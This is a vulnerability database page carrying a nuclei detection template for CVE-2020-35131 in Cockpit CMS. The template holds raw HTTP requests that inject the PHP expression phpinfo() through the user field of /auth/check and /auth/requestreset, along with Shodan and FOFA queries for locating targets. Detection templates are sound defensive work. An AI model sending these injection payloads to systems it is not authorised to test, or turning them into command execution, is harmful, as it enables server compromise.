Lucene search
K

Cockpit CMS 0.6.1 - Remote Code Execution

🗓️ 06 Jul 2026 03:02:03Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 19 Views

Cockpit CMS 0.6.1 allows Remote Code Execution via PHP injection through specific URIs.

Related
Refs
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2020-35131
8 Jan 202120:41
circl
CNNVD
Cockpit 代码注入漏洞
8 Jan 202100:00
cnnvd
CNVD
Cockpit Code Injection Vulnerability
12 Jan 202100:00
cnvd
Check Point Advisories
Cockpit CMS Remote Code Execution (CVE-2020-35131)
22 Feb 202100:00
checkpoint_advisories
CVE
CVE-2020-35131
8 Jan 202116:09
cve
Cvelist
CVE-2020-35131
8 Jan 202116:09
cvelist
NVD
CVE-2020-35131
8 Jan 202117:15
nvd
Prion
Command injection
8 Jan 202117:15
prion
Positive Technologies
PT-2021-11714 · Cockpit · Cockpit
8 Jan 202100:00
ptsecurity
RedhatCVE
CVE-2020-35131
15 Jan 202110:12
redhatcve
Rows per page
id: CVE-2020-35131

info:
  name: Cockpit CMS 0.6.1 - Remote Code Execution
  author: DhiyaneshDK
  severity: critical
  description: |
    Cockpit before 0.6.1 allows an attacker to inject custom PHP code and achieve Remote Command Execution via registerCriteriaFunction in lib/MongoLite/Database.php, as demonstrated by values in JSON data to the /auth/check or /auth/requestreset URI.
  impact: |
    Unauthenticated attackers can inject custom PHP code to achieve remote command execution, leading to complete Cockpit CMS compromise.
  remediation: |
    Upgrade to Cockpit CMS version 0.6.1 or later.
  reference:
    - https://github.com/agentejo/cockpit/commits/next/lib/MongoLite/Database.php
    - https://github.com/agentejo/cockpit/releases/tag/0.6.1
    - https://www.exploit-db.com/exploits/49390
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35131
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-35131
    cwe-id: CWE-94
    epss-score: 0.51299
    epss-percentile: 0.98804
    cpe: cpe:2.3:a:agentejo:cockpit:*:*:*:*:*:*:*:*
  metadata:
    vendor: agentejo
    product: cockpit
    shodan-query: http.html:"cockpit"
    fofa-query: app="Cockpit"
    max-request: 2
    verified: true
  tags: cve,cve2020,rce,cockpit,vkev,vuln

variables:
  rand_user: '{{rand_text_alpha(5)}}'
  rand_password: '{{rand_text_alpha(5)}}'

http:
  - raw:
      - |
        POST /auth/check HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=UTF-8
        Origin: {{BaseURL}}

        {"auth":{"user":"{{rand_user}}'.phpinfo().'","password":"{{rand_password}}"}}

      - |
        POST /auth/requestreset HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=UTF-8
        Origin: {{BaseURL}}

        {"user":"{{rand_user}}'.phpinfo().'"}

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "cockpit"
          - "PHP Extension"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203f00939a291850e354e1a776477345b2c40bcd24516b81a797b334d07c5d8896022100b578f3da5cc7be8683d3c2e3f3bcaf30a2cbfb8626bc030ba484bb07af5e8881:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.3High risk
Vulners AI Score7.3
CVSS 27.5
CVSS 3.19.8
EPSS0.51299
19